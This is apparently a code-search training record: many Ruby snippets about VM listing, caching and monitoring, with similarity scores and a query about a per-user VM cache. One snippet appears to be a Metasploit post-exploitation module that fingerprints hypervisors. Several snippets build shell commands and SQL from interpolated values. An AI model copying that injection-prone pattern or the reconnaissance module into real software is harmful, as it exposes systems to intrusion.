query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'$select'] = opts[:'select'] if !opts[:'select'].nil?\n query_params[:'$expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n query_params[:'$apply'] = opts[:'apply'] if !opts[:'apply'].nil?\n query_params[:'$count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'$inlinecount'] = opts[:'inlinecount'] if !opts[:'inlinecount'].nil?\n query_params[:'at'] = opts[:'at'] if !opts[:'at'].nil?\n query_params[:'tags'] = opts[:'tags'] if !opts[:'tags'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'VirtualizationVmwareVirtualMachineResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"VirtualizationApi.get_virtualization_vmware_virtual_machine_list\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VirtualizationApi#get_virtualization_vmware_virtual_machine_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def monitor_hosts_and_vms\n totalmemory = 0\n totalcpu = 0\n\n host_info = \"HYPERVISOR=opennebula\\n\"\n host_info << \"PUBLIC_CLOUD=YES\\n\"\n host_info << \"PRIORITY=-1\\n\"\n host_info << \"CPUSPEED=1000\\n\"\n host_info << \"HOSTNAME=\\\"#{@host['hostname']}\\\"\\n\"\n case @host['host_mon']['type']\n when 'fixed'\n host_info << \"TOTALMEMORY=#{@host['host_mon']['memory']}\\n\"\n host_info << \"TOTALCPU=#{@host['host_mon']['cpu']}\\n\"\n when 'instance_based'\n @host['capacity'].each { |name, size|\n cpu, mem = instance_type_capacity(name)\n totalmemory += mem * size.to_i\n totalcpu += cpu * size.to_i\n }\n host_info << \"TOTALMEMORY=#{totalmemory.round}\\n\"\n host_info << \"TOTALCPU=#{totalcpu}\\n\"\n when 'dynamic'\n host_info << get_remote_quotas\n end\n\n usedcpu = 0\n usedmemory = 0\n\n vms_info = get_all_vms_poll_info\n puts host_info\n puts vms_info\n end", "def local_cache(basebox_name)\n cache_dir = Vagrant::Environment.new.home_path.join('cache', 'apt', basebox_name)\n # Vagrant::Environment.new.home_path\n print cache_dir\n cache_dir.mkpath unless cache_dir.exist?\n partial_dir = cache_dir.join('partial')\n partial_dir.mkdir unless partial_dir.exist?\n cache_dir\nend", "def get_kvm_guest_info(guest)\n info = {}\n result = `virsh dumpxml #{guest}`\n result.split(\"\\n\").each do |line|\n if line =~ /source file='(.+)'/\n img_path = $1\n if File.exists?(img_path)\n # nVentory expects the value to be in KB\n info['vmimg_size'] = File.stat(img_path).size.to_i / 1024\n # how to calculate this?\n # info['vmspace_used'] = ???\n end\n end\n end\n return info.clone\n end", "def local_cache(box_name)\n cache_dir = File.join(File.expand_path(Vagrant::Environment::DEFAULT_HOME),\n 'cache',\n 'apt',\n box_name)\n partial_dir = File.join(cache_dir, 'partial')\n FileUtils.mkdir_p(partial_dir) unless File.exists? partial_dir\n cache_dir\nend", "def virtual_machine_templates\n kubevirt_client.get_virtual_machine_templates(namespace: @namespace)\n end", "def load_objects\r\n @guests, @users = @resource.can_be_modified_by?(current_user) ? [@resource.guests, @resource.invited_users] : \r\n [\r\n @resource.guests([\"invitor_id = '#{current_user.id}'\"]), \r\n @resource.invited_users.all(:conditions => ['invitor_id = ?', current_user])\r\n ]\r\n end", "def vm_from_objects(objects)\n vm = nil\n objects.each do |object|\n if object[:kind] == \"VirtualMachine\"\n vm = object\n end\n end\n # make sure there is one\n raise ::Fog::Kubevirt::Errors::ServiceError if vm.nil?\n vm\n end", "def run\n poolname = config[:pool]\n if poolname.nil?\n show_usage\n fatal_exit('You must specify a resource pool or cluster name (see knife vsphere pool list)')\n end\n\n abort '--ips has been removed. Please use --networks' if get_config(:ips)\n\n vim_connection\n dc = datacenter\n folder = dc.hostFolder\n pool = if get_config(:poolpath)\n find_pool(poolname) || abort(\"Pool #{poolname} not found\")\n else\n traverse_folders_for_pool_clustercompute(folder, poolname) || abort(\"Pool #{poolname} not found\")\n end\n vm_list = if pool.class == RbVmomi::VIM::ResourcePool\n pool.vm\n else\n pool.resourcePool.vm\n end\n\n return if vm_list.nil?\n\n output = vm_list.map do |vm|\n thisvm = {}\n if get_config(:matchname)\n next unless vm.name.include? config[:matchname]\n end\n\n if get_config(:matchtools)\n next unless vm.guest.toolsStatus == config[:matchtools]\n end\n\n power_state = vm.runtime.powerState\n\n thisvm['state'] = case power_state\n when PS_ON\n 'on'\n when PS_OFF\n 'off'\n when PS_SUSPENDED\n 'suspended'\n end\n\n\n next if get_config(:soff) && (power_state == PS_ON)\n\n next if get_config(:son) && (power_state == PS_OFF)\n\n if get_config(:matchip)\n if !vm.guest.ipAddress.nil? && vm.guest.ipAddress != ''\n next unless vm.guest.ipAddress.include? config[:matchip]\n else\n next\n end\n end\n\n unless vm.guest.guestFullName.nil?\n if get_config(:matchos)\n next unless vm.guest.guestFullName.include? config[:matchos]\n end\n end\n\n thisvm['name'] = vm.name\n if get_config(:hostname)\n thisvm['hostname'] = vm.guest.hostName\n end\n if get_config(:host_name)\n # TODO: Why vm.summary.runtime vs vm.runtime?\n thisvm['host_name'] = vm.summary.runtime.host.name\n end\n\n if get_config(:full_path)\n fullpath = ''\n iterator = vm\n\n while iterator = iterator.parent\n break if iterator.name == 'vm'\n fullpath = fullpath.empty? ? iterator.name : \"#{iterator.name}/#{fullpath}\"\n end\n thisvm['folder'] = fullpath\n else\n thisvm['folder'] = vm.parent.name\n end\n\n if get_config(:ip)\n thisvm['ip'] = vm.guest.ipAddress\n end\n\n if get_config(:networks)\n ipregex = /^(?:[0-9]{1,3}\\.){3}[0-9]{1,3}$/\n thisvm['networks'] = vm.guest.net.map do |net|\n firstip = net.ipConfig.ipAddress.first { |i| i.ipAddress[ipregex] }\n\n { 'name' => net.network,\n 'ip' => firstip.ipAddress,\n 'prefix' => firstip.prefixLength\n }\n end\n end\n\n if get_config(:os)\n thisvm['os'] = vm.guest.guestFullName\n end\n\n if get_config(:ram)\n thisvm['ram'] = vm.summary.config.memorySizeMB\n end\n\n if get_config(:cpu)\n thisvm['cpu'] = vm.summary.config.numCpu\n end\n\n if get_config(:alarms)\n thisvm['alarms'] = vm.summary.overallStatus\n end\n\n if get_config(:tools)\n thisvm['tools'] = vm.guest.toolsStatus\n end\n\n if get_config(:os_disk)\n thisvm['disks'] = vm.guest.disk.map do |disk|\n { 'name' => disk.diskPath,\n 'capacity' => disk.capacity / 1024 / 1024,\n 'free' => disk.freeSpace / 1024 / 1024\n }\n end\n end\n\n if get_config(:esx_disk)\n # TODO: https://www.vmware.com/support/developer/converter-sdk/conv55_apireference/vim.VirtualMachine.html#field_detail says this is deprecated\n thisvm['esx_disks'] = vm.layout.disk.map(&:diskFile)\n end\n\n if get_config(:snapshots)\n thisvm['snapshots'] = if vm.snapshot\n vm.snapshot.rootSnapshotList.map(&:name)\n else\n []\n end\n end\n thisvm\n end\n ui.output(output.compact)\n end", "def get_vm(vm_id)\n end", "def show\n @info={:running=>[], :paused=>[], :stopped=>[]}\n @lab_user.vms.each do |v|\n v['username']=@lab_user.user.username\n v['port'] = v.rdp_port\n logger.debug \"state is #{v.state}\"\n @info[:\"#{v.state}\"]<< v\n end\n respond_to do |format|\n format.json { render :json => @info }\n end\n end", "def list_kvms\n info = Hash[\n *Dir.glob(File.join(KVM_HOME, 'storage', '*.qcow2')).map{|dir|\n key = File.basename(dir).sub('.qcow2', '')\n [key, {:address => kvm_ip(key), :type => kvm_type(key)}]\n }.sort{|a,b|\n a.first <=> b.first\n }.flatten\n ]\n info.each do |name, info|\n puts \"#{name}\"\n puts \" Type: #{info[:type]}\"\n puts \" Address: #{info[:address]}\"\n end\nend", "def cache_all_repos_for_user\n raise InvalidToken unless test_authentication\n repos = []\n repos += get_user_repos\n get_user_orgs.each do |org|\n repos += get_org_repos( org['login'] )\n end\n File.open(@cache_file, 'w') do |f|\n f.write repos.to_json\n end\n repos\n end", "def local_apt_cache(box_name)\n cache_dir = File.join(File.expand_path(Vagrant::Environment::DEFAULT_HOME),\n 'cache',\n 'apt',\n box_name)\n partial_dir = File.join(cache_dir, 'partial')\n FileUtils.mkdir_p(partial_dir) unless File.exists? partial_dir\n cache_dir\nend", "def monitor_vms(vm_type)\n str_info, last_mon_time = @cluster.monitor_vms(@host_id,\n vm_type,\n @vcenter_conf[:debug_information])\n return str_info\n end", "def get_remote_quotas\n begin\n response = @client.call(\"one.user.info\",@credentials, -1)\n xmlrpc_fault_exception\n end\n\n doc = Nokogiri::XML.parse(response[1])\n\n cpu = doc.xpath(\"//VM_QUOTA//CPU\").text\n cpu_used = doc.xpath(\"//VM_QUOTA//CPU_USED\").text\n memory = doc.xpath(\"//VM_QUOTA//MEMORY\").text\n memory_used = doc.xpath(\"//VM_QUOTA//MEMORY_USED\").text\n\n # These could be used for fixed and instance-based monitoring modes. Leaving them for possible future usage\n\n cpu = cpu.to_i * 100\n cpu_used = cpu_used.to_i * 100\n memory = memory.to_i * 1024\n memory_used = memory_used.to_i * 1024\n\n quotas = \"TOTALMEMORY=#{memory}\\n\"\n quotas << \"TOTALCPU=#{cpu}\\n\"\n # quotas << \"USEDMEMORY=0\\n\"\n # quotas << \"USEDCPU=0\\n\"\n # quotas << \"USEDMEMORY=#{memory_used}\\n\"\n # quotas << \"USEDCPU=#{cpu_used}\\n\"\n # quotas << \"FREEMEMORY=#{(memory - memory_used)}\\n\"\n # quotas << \"FREECPU=#{cpu - cpu_used}\\n\"\n end", "def list_fusion_vms(options)\n search_string = options['search']\n if search_string == options['empty']\n search_string = \"all\"\n end\n file_list = Dir.entries(options['fusiondir'])\n if search_string == \"all\"\n type_string = options['vmapp']\n else\n type_string = search_string.capitalize+\" \"+options['vmapp']\n end\n if file_list.length > 0\n if options['output'].to_s.match(/html/)\n handle_output(options,\"<h1>Available #{type_string} VMs</h1>\")\n handle_output(options,\"<table border=\\\"1\\\">\")\n handle_output(options,\"<tr>\")\n handle_output(options,\"<th>VM</th>\")\n handle_output(options,\"<th>OS</th>\")\n handle_output(options,\"<th>MAC</th>\")\n handle_output(options,\"</tr>\")\n else\n handle_output(options,\"\")\n handle_output(options,\"Available #{type_string} VMs:\")\n handle_output(options,\"\")\n end\n file_list.each do |entry|\n if entry.match(/^[a-z]|^[A-Z]/)\n vm_name = entry.gsub(/\\.vmwarevm/,\"\")\n options['name'] = vm_name\n vm_mac = get_fusion_vm_mac(options)\n vm_os = get_fusion_vm_os(options)\n if search_string == \"all\" || entry.match(/#{search_string}/) || options['os-type'].to_s.match(/#{search_string}/)\n if options['output'].to_s.match(/html/)\n handle_output(options,\"<tr>\")\n handle_output(options,\"<td>#{vm_name}</td>\")\n handle_output(options,\"<td>#{vm_os}</td>\")\n handle_output(options,\"<td>#{vm_mac}</td>\")\n handle_output(options,\"</tr>\")\n else\n output = vm_name+\" os=\"+vm_os+\" mac=\"+vm_mac\n handle_output(options,output)\n end\n end\n end\n end\n if options['output'].to_s.match(/html/)\n handle_output(options,\"</table>\")\n else\n handle_output(options,\"\")\n end\n end\n return\nend", "def quota_vms_by_owner(options)\n quota_vm_stats(:quota_find_vms_by_owner, options)\n end", "def get_users\n @get_users = Rails.cache.fetch(\"get_aside_users\", :expires_in => 1.hours) do\n if @current_user.present?\n Core::User.active.where(\"verified = 1 AND id != #{@current_user.id}\").order(position: :desc, created_at: :desc).limit(10).sample(3)\n else\n Core::User.active.where(\"verified = 1\").order(position: :desc, created_at: :desc).limit(10).sample(3)\n end\n end\n end", "def get_votes\n res = []\n unless session[:drupal_user_id].nil?\n res = Rails.cache.fetch 'votes-from-' + session[:drupal_user_id].to_s do\n u = User.find_by_uid(session[:drupal_user_id])\n unless u.nil?\n r = Vote.where(voter_id: u.id).map { |v| v.voteable_id }\n else\n r = []\n end\n\n r\n end\n end\n\n res\n end", "def vm_field name\n VMS_DICT.fetch(\"vms\").fetch(@id).fetch(name)\n end", "def offline_vm_from_objects(objects)\n vm = nil\n objects.each do |object|\n if object.kind == \"OfflineVirtualMachine\"\n vm = to_hash(object)\n end\n end\n # make sure there is one\n raise MiqException::MiqProvisionError if vm.nil?\n vm\n end", "def get_all_user_data\n load_user_data(nil)\n end", "def local_cache(box_name, hostname)\n cache_dir = File.join( File.expand_path(\"./vagrant_apt\"),\n 'cache',\n 'apt',\n box_name,\n hostname\n )\n\n partial_dir = File.join(cache_dir, 'partial')\n FileUtils.mkdir_p(partial_dir) unless File.exists? partial_dir\n cache_dir\nend", "def index\n @users = GuestUsers::User.where(host: current_user) || []\n end", "def users\n result = Rails.cache.read([:ibiza, id, :users])\n get_users_only_once if result.nil?\n result\n end", "def customize_vm(v)\n mem = `grep 'MemTotal' /proc/meminfo | sed -e 's/MemTotal://' -e 's/ kB//'`.to_i / 1024 / 8\n cpus = 4\n v.customize [\"modifyvm\", :id, \"--memory\", mem]\n v.customize [\"modifyvm\", :id, \"--cpus\", cpus]\nend", "def memory\n hash = {}\n page_size = 4096 # Possibly changed later\n\n begin\n optr = FFI::MemoryPointer.new(:uint64_t)\n size = FFI::MemoryPointer.new(:size_t)\n size.write_int(optr.size)\n\n if sysctlbyname('hw.memsize', optr, size, nil, 0) < 0\n raise SystemCallError.new('sysctlbyname', FFI.errno)\n end\n\n hash[:total] = optr.read_uint64\n ensure\n optr.free if optr && !optr.null?\n size.clear\n end\n\n begin\n swap = Swap.new\n size.write_int(swap.size)\n\n if sysctlbyname('vm.swapusage', swap, size, nil, 0) < 0\n raise SystemCallError.new('sysctlbyname', FFI.errno)\n end\n\n hash[:swap_total] = swap[:xsu_total]\n hash[:swap_available] = swap[:xsu_avail]\n hash[:swap_used] = swap[:xsu_used]\n page_size = swap[:xsu_pagesize]\n ensure\n size.free if size && !size.null?\n end\n\n host_self = mach_host_self()\n vmstat = VmStat.new\n count = FFI::MemoryPointer.new(:size_t)\n count.write_int(vmstat.size)\n\n rv = host_statistics64(host_self, HOST_VM_INFO64, vmstat, count)\n raise SystemCallError.new('host_statistics64', rv) if rv != 0\n\n hash[:free] = vmstat[:free_count] * page_size\n hash[:active] = vmstat[:active_count] * page_size\n hash[:inactive] = vmstat[:inactive_count] * page_size\n hash[:speculative] = vmstat[:speculative_count] * page_size\n hash[:wire] = vmstat[:wire_count] * page_size\n hash[:compressed] = vmstat[:compressor_page_count] * page_size\n\n hash\n ensure\n count.free if count && !count.null?\n end", "def index\n order = order_vms\n if params[:admin]!=nil && @admin # admin user\n sql = Vm.joins(:lab_user).order(order)\n @tab='admin'\n else \n labuser_ids = current_user.lab_users.map{|lu| lu.id }.flatten.uniq\n sql = Vm.joins(:lab_user).where( lab_user_id: labuser_ids ).order(order)\n end\n @vms = sql.paginate( :page => params[:page], :per_page => @per_page) \n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @vms }\n end\n end", "def mk_proxmox_vm(server,name,ram_size_mb,disk_size_mb,cores)\n\n id = Proxmox::Proxmox.next_free_qemu_id(server.nodes)\n nodename = $proxmox_node\n node = server.node_by_name(nodename)\n storage = node.storage_by_free_space(disk_size_mb)\n if !storage then\n puts \"cannot create vm: reason: cannot get a storage to provide \" + disk_size_mb.to_s + \" MB space\"\n return\n end\n if node.free_ram_mb() < ram_size_mb then\n puts \"cannot create vm: reason: node has insufficient ram: \" + ram_size_mb.to_s + \" MB space requested, \" + node.free_ram_mb().to_s + \" MB available\"\n return\n end\n\n storname = storage.storage()\n\n disk_id = SecureRandom.uuid().byteslice(0,8)\n vol_name = \"vm-\"+ id.to_s + \"-disk-\" + disk_id\n vol_size = disk_size_mb.to_s + \"M\"\n vol_format = \"raw\"\n vol_vm_id = id\n disk_name = storage.create_disk(vol_name , disk_size_mb.to_s + \"M\", \"raw\",id)\n if /error/.match(disk_name) then\n puts \"cannot create vm: reason: error creating vm storage: \" + disk_name.to_s\n return\n end\n\n data = {\n \"onboot\" => \"1\",\n \"boot\" => \"ndc\",\n \"sockets\" => cores,\n \"memory\" => ram_size_mb,\n \"virtio0\" => disk_name+\",cache=unsafe,size=\"+ (Float(disk_size_mb/1024)).floor.to_s+\"G\",\n \"kvm\" => \"1\",\n \"net0\" => \"e1000,bridge=vmbr0\",\n \"net1\" => \"e1000,bridge=vmbr1\",\n \"ostype\" => \"l26\", # linux 2.6/3.x/4.x kernel\n \"name\" => name, \n \"vmid\" => id\n }\n\n node.create_qemu(data)\nend", "def list\n @list ||= raw_list.map do |vm|\n if vm.tags && vm.tags['name'] && vm.tags['name'].index(environment)\n Machine.new({\n state: vm.state.to_sym,\n name: vm.tags[\"name\"],\n user: user,\n dns: vm.dns_name,\n public_ip: vm.public_ip_address,\n private_ip: vm.private_ip_address,\n preferred_ip: vm.private_ip_address,\n key: build_keypath,\n raw: vm\n })\n end\n end.compact\n end", "def xe_get_resident_vms(uuid)\n vms = Array.new\n xe_open(\"xe vm-list resident-on=#{uuid}\").each do |line|\n if line =~ /uuid.*:\\s(.*)$/\n vms << $1\n end\n end\n return vms\nend", "def guests\n raw_response = get_request('users/guests')\n parse_response(raw_response, :users)\n end", "def local_cache(box_name, cache_name)\r\n cache_dir = File.join(File.expand_path(\"~/.vagrant.d\"), \"cache\", cache_name, box_name)\r\n if cache_name == \"apt\"\r\n partial_dir = File.join(cache_dir, \"partial\")\r\n FileUtils.mkdir_p(partial_dir) unless File.exists? partial_dir\r\n end\r\n cache_dir\r\nend", "def user_list\n execute('dscacheutil -q user') do |result|\n users = []\n result.stdout.each_line do |line|\n users << line.split(': ')[1].strip if /^name:/.match?(line)\n end\n\n yield result if block_given?\n\n users\n end\n end", "def run\n print_status(\"Gathering System info ....\")\n vm = nil\n dmi_info = nil\n ls_pci_data = nil\n\n if is_root?\n dmi_info = cmd_exec(\"/usr/sbin/dmidecode\")\n end\n\n # Check DMi Info\n if dmi_info\n case dmi_info\n when /microsoft corporation/i\n vm = \"MS Hyper-V\"\n when /vmware/i\n vm = \"VMware\"\n when /virtualbox/i\n vm = \"VirtualBox\"\n when /qemu/i\n vm = \"Qemu/KVM\"\n when /domu/i\n vm = \"Xen\"\n end\n end\n\n # Check Modules\n if not vm\n loaded_modules = cmd_exec(\"/sbin/lsmod\")\n case loaded_modules.to_s.gsub(\"\\n\", \" \")\n when /vboxsf|vboxguest/i\n vm = \"VirtualBox\"\n when /vmw_ballon|vmxnet|vmw/i\n vm = \"VMware\"\n when /xen-vbd|xen-vnif/\n vm = \"Xen\"\n when /virtio_pci|virtio_net/\n vm = \"Qemu/KVM\"\n when /hv_vmbus|hv_blkvsc|hv_netvsc|hv_utils|hv_storvsc/\n vm = \"MS Hyper-V\"\n end\n end\n\n # Check SCSI Driver\n if not vm\n proc_scsi = read_file(\"/proc/scsi/scsi\") rescue \"\"\n case proc_scsi.gsub(\"\\n\", \" \")\n when /vmware/i\n vm = \"VMware\"\n when /vbox/i\n vm = \"VirtualBox\"\n end\n end\n\n # Check IDE Devices\n if not vm\n case cmd_exec(\"cat /proc/ide/hd*/model\")\n when /vbox/i\n vm = \"VirtualBox\"\n when /vmware/i\n vm = \"VMware\"\n when /qemu/i\n vm = \"Qemu/KVM\"\n when /virtual [vc]d/i\n vm = \"Hyper-V/Virtual PC\"\n end\n end\n\n # Check using lspci\n if not vm\n case get_sysinfo[:distro]\n when /oracle|centos|suse|redhat|mandrake|slackware|fedora/i\n lspci_data = cmd_exec(\"/sbin/lspci\")\n when /debian|ubuntu/\n lspci_data = cmd_exec(\"/usr/bin/lspci\")\n else\n lspci_data = cmd_exec(\"lspci\")\n end\n\n case lspci_data.to_s.gsub(\"\\n\", \" \")\n when /vmware/i\n vm = \"VMware\"\n when /virtualbox/i\n vm = \"VirtualBox\"\n end\n end\n\n # Xen bus check\n if not vm\n if cmd_exec(\"ls -1 /sys/bus\").to_s.split(\"\\n\").include?(\"xen\")\n vm = \"Xen\"\n end\n end\n\n # Check using lscpu\n if not vm\n case cmd_exec(\"lscpu\")\n when /Xen/i\n vm = \"Xen\"\n when /KVM/i\n vm = \"KVM\"\n when /Microsoft/i\n vm = \"MS Hyper-V\"\n end\n end\n\n # Check dmesg Output\n if not vm\n dmesg = cmd_exec(\"dmesg\")\n case dmesg\n when /vboxbios|vboxcput|vboxfacp|vboxxsdt|vbox cd-rom|vbox harddisk/i\n vm = \"VirtualBox\"\n when /vmware virtual ide|vmware pvscsi|vmware virtual platform/i\n vm = \"VMware\"\n when /xen_mem|xen-vbd/i\n vm = \"Xen\"\n when /qemu virtual cpu version/i\n vm = \"Qemu/KVM\"\n when /\\/dev\\/vmnet/\n vm = \"VMware\"\n end\n end\n\n if vm\n print_good(\"This appears to be a '#{vm}' virtual machine\")\n report_virtualization(vm)\n else\n print_status(\"This does not appear to be a virtual machine\")\n end\n\n end", "def vm_instances\n @conn.vminstances\n end", "def all_instances\n Puppet.debug(\"all_instances - cached instances is: #{cached_instances}\")\n Puppet.debug(\"all_instances - cached instances object id: #{cached_instances.object_id}\")\n # return cache if it has been created, this means that this function will only need\n # to be loaded once, returning all instances that exist of this resource in vsphere\n # then, we can lookup our version by name/id/whatever. This saves a TON of processing\n return cached_instances unless cached_instances.nil?\n\n # Fetch the current status of the portgroup\n cmd = <<-EOF\n $portgroup_hash = @{}\n $hosts = #{powercli_get_online_hosts}\n foreach($h in $hosts) {\n # We silently continue on errors otherwise PowerCLI creates an error if the\n # portgroup does not exist on the host which pollutes our $portgroup_hash return object\n $pg = Get-VirtualSwitch -Host $h -Standard -Name #{resource[:vswitch_name]} | Get-VirtualPortGroup -Name #{resource[:portgroup]} -ErrorAction SilentlyContinue\n if ($pg) {\n $obj_hash = @{}\n $obj_hash.Add('portgroup', $pg.Name)\n $obj_hash.Add('vlan', $pg.VLanId)\n $obj_hash.Add('vswitch_name', $pg.VirtualSwitchName)\n $portgroup_hash[$h.Name] = @($obj_hash)\n } else {\n # create empty hashtable\n $obj_hash = @{}\n $portgroup_hash[$h.Name] = @($obj_hash)\n }\n }\n $portgroup_hash | ConvertTo-Json\n EOF\n\n portgroups_stdout = powercli_connect_exec(cmd)[:stdout]\n\n unless portgroups_stdout.empty?\n portgroups_hash = JSON.parse(portgroups_stdout)\n cached_instances_set({})\n portgroups_hash.each do |esx_host, pg_array|\n # Extracting hash from array object\n pg_hash = pg_array[0]\n cached_instances[esx_host] = {\n ensure: :present,\n esx_host: esx_host,\n vswitch_name: pg_hash['vswitch_name'],\n vlan: pg_hash['vlan'],\n portgroup: pg_hash['portgroup'],\n }\n end\n end\n Puppet.debug(\"all_instances - cached instances is at end: #{cached_instances}\")\n Puppet.debug(\"all_instances - cached instances object_id at end: #{cached_instances.object_id}\")\n cached_instances\n end", "def vms_info(vm_type)\n cmd = \"#{File.dirname(__FILE__)}/vcenter_monitor_vms.rb #{@host.id} #{vm_type} \\\"#{connection[:ccr]}\\\"\"\n str_info, _stderr, _status = Open3.capture3(cmd)\n str_info\n end", "def list_vm(vmname)\r\n current = {:errormsg => \"\", :status => \"\", :time => \"\", :vmstatus => \"\"}\r\n\r\n conn_opts=get_cli_connection\r\n if not vmname \r\n Chef::Log.debug(\"#{conn_opts[:host]}...list vm\")\r\n Net::SSH.start( conn_opts[:host], conn_opts[:user], :password => conn_opts[:password], :port => conn_opts[:port] ) do|ssh|\r\n output = ssh.exec!(\"list vm\")\r\n output.each_line do |line|\r\n if line.match(/Status:/)\r\n current[:status]=line.split[1].strip\r\n elsif line.match(/Time:/)\r\n line[\"Time: \"]=\"\"\r\n current[:time]=line.strip\r\n elsif line.match(/ id:/)\r\n puts line.split(':')[2].strip\r\n elsif line.match(/Error Msg:/)\r\n line[\"Error Msg: \"]=\"\"\r\n current[:errormsg]=line.strip\r\n end\r\n end\r\n end\r\n return current\r\n else\r\n Chef::Log.debug(\"#{conn_opts[:host]}...show vm name=#{vmname}\")\r\n Net::SSH.start( conn_opts[:host], conn_opts[:user], :password => conn_opts[:password], :port => conn_opts[:port] ) do|ssh|\r\n output = ssh.exec!(\"show vm name=#{vmname}\")\r\n output.each_line do |line|\r\n if line.match(/Status:/)\r\n current[:status]=line.split[1].strip\r\n elsif line.match(/Time:/)\r\n line[\"Time: \"]=\"\"\r\n current[:time]=line.strip\r\n elsif line.match(/Error Msg:/)\r\n line[\"Error Msg: \"]=\"\"\r\n current[:errormsg]=line.strip\r\n elsif line.match(/ /)\r\n puts line\r\n end\r\n end\r\n end\r\n return current\r\n end\r\n end", "def index\n @virtual_users = VirtualUser.all\n end", "def vm_count\n manager.vbox.machines.count do |machine|\n machine.name =~ /#{Travis::Worker.config.vms.name_prefix}/\n end\n end", "def show\n @bandwidthM = @vm.show(@virtualmachine.RemoteID).select{|bandwidth| bandwidth[\"monthly_bandwidth_used\"]}\n @allIps = Ipaddress.joins(:virtualmachine).select{|ip| ip[\"ip_address\"] }\n\n end", "def virtualbox_nonrunning_vm_guids\n running_vms_guids = []\n `vboxmanage list runningvms`.scan(/{(.*)}/) { running_vms_guids << Regexp.last_match(1) }\n vm_guids = []\n `vboxmanage list vms`.scan(/{(.*)}/) { vm_guids << Regexp.last_match(1) unless running_vms_guids.include?(Regexp.last_match(1)) }\n\n vm_guids\nend" ]
[ "0.6959804", "0.6455871", "0.6388029", "0.6315075", "0.62986934", "0.62986934", "0.61010176", "0.61010176", "0.6089927", "0.6030115", "0.59905654", "0.5979743", "0.5840897", "0.58175826", "0.5802259", "0.5791306", "0.5781072", "0.57736045", "0.5747812", "0.57079655", "0.5658441", "0.56575954", "0.56442225", "0.5641078", "0.56131274", "0.5594377", "0.5590044", "0.5586657", "0.5557748", "0.5538028", "0.5535307", "0.55131733", "0.54917824", "0.5454525", "0.5450254", "0.54143995", "0.5401655", "0.5393442", "0.5385035", "0.53522503", "0.53427756", "0.53299123", "0.5328849", "0.52994865", "0.52935773", "0.52622586", "0.52575284", "0.5252723", "0.52456665", "0.523732", "0.5225796", "0.5218175", "0.52151054", "0.5208208", "0.5185006", "0.5184117", "0.5182338", "0.51650244", "0.5157976", "0.5153729", "0.5136062", "0.512823", "0.5125209", "0.5121738", "0.5121346", "0.51156837", "0.51092684", "0.51080793", "0.5106485", "0.50941724", "0.5093124", "0.50921535", "0.5089575", "0.5077247", "0.50766635", "0.50740236", "0.50377756", "0.5029937", "0.50136477", "0.5008303", "0.5005785", "0.50038457", "0.5002665", "0.49998492", "0.49988744", "0.49927843", "0.49871123", "0.49691316", "0.49478617", "0.4946527", "0.4945445", "0.4944413", "0.49434665", "0.49428418", "0.4937878", "0.493624", "0.49255815", "0.49225926", "0.49191332", "0.49186102" ]
0.6091959
8
Returns the cache of defined VMs for a user. It is a hash with VM id as key and VmUsage as value
def vms(user) vms=@users[user] @users[user]=vms=Hash.new if !vms vms end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_by_ued_memcache_key_object\n MemcacheKey.new('user.user_kyc_comparison_detail')\n end", "def total(user)\n usage=VmUsage.new(0.0, 0, 0)\n \n @users[user].each do |id, vm|\n usage.cpu+=vm.cpu\n usage.memory+=vm.memory\n usage.num_vms+=1\n end if @users[user]\n \n usage\n end", "def build_vuln_cache()\n r = Vulnerability.select(:id,:cve).pluck(:id, :cve)\n return r.inject({}) { |map, (id, cve)| map[cve] = id; map }\n end", "def cache\n @cache[:user] ||= get 'user'\n end", "def load_vms!\n\t\t\tresult = {}\n\n\t\t\t# Load the VM UUIDs from the local data store\n\t\t\t(local_data[:active] || {}).each do |name, desc|\n\t\t\t\tresult[name.to_sym] = VagrantAWS::VM.find(desc, self, name.to_sym)\n\t\t\tend\n\n\t\t\t# For any VMs which aren't created, create a blank VM instance for\n\t\t\t# them\n\t\t\tall_keys = config.vms\n\t\t\tall_keys = [DEFAULT_VM] if all_keys.empty?\n\t\t\tall_keys.each do |name|\n\t\t\t\tresult[name] = VagrantAWS::VM.new(name, self, config.for_vm(name)) if !result.has_key?(name)\n\t\t\tend\n\n\t\t\tresult\n\t\tend", "def vms\n vms = []\n if current_user.admin?\n vms = object.vms\n elsif current_user.lead?\n vms = object.vms.select { |vm| vm.project.users.include?(current_user) }\n elsif current_user.dev?\n vms = object.vms.select { |vm| vm.user.id == current_user.id || vm.is_jenkins }\n else\n vms = object.vms.select { |vm| vm.user.id == current_user.id }\n end\n vms.map { |v| v.id }\n end", "def vms\n vms = []\n if current_user.admin?\n vms = object.vms\n elsif current_user.lead?\n vms = object.vms.select { |vm| vm.project.users.include?(current_user) }\n elsif current_user.dev?\n vms = object.vms.select { |vm| vm.user.id == current_user.id || vm.is_jenkins }\n else\n vms = object.vms.select { |vm| vm.user.id == current_user.id }\n end\n vms.map { |v| v.id }\n end", "def update_user(user)\n @users[user]=Hash.new if !@users[user]\n \n vmpool=OpenNebula::VirtualMachinePool.new(@client, user)\n vmpool.info\n \n one_ids=vmpool.map {|vm| vm.id }\n vms=@users[user]\n user_ids=vms.keys\n \n deleted_vms=user_ids-one_ids\n added_vms=one_ids-user_ids\n \n deleted_vms.each {|vmid| 